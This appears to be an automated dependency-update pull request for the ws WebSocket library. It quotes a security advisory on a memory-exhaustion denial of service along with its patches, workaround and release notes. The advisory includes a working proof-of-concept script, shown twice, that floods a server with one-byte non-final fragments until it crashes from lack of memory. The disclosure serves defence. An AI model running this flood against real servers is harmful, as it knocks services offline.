🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 3 commits:

• [dist] 8.21.0
• [security] Limit retained message parts
• [security] Add latest vulnerability to SECURITY.md

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)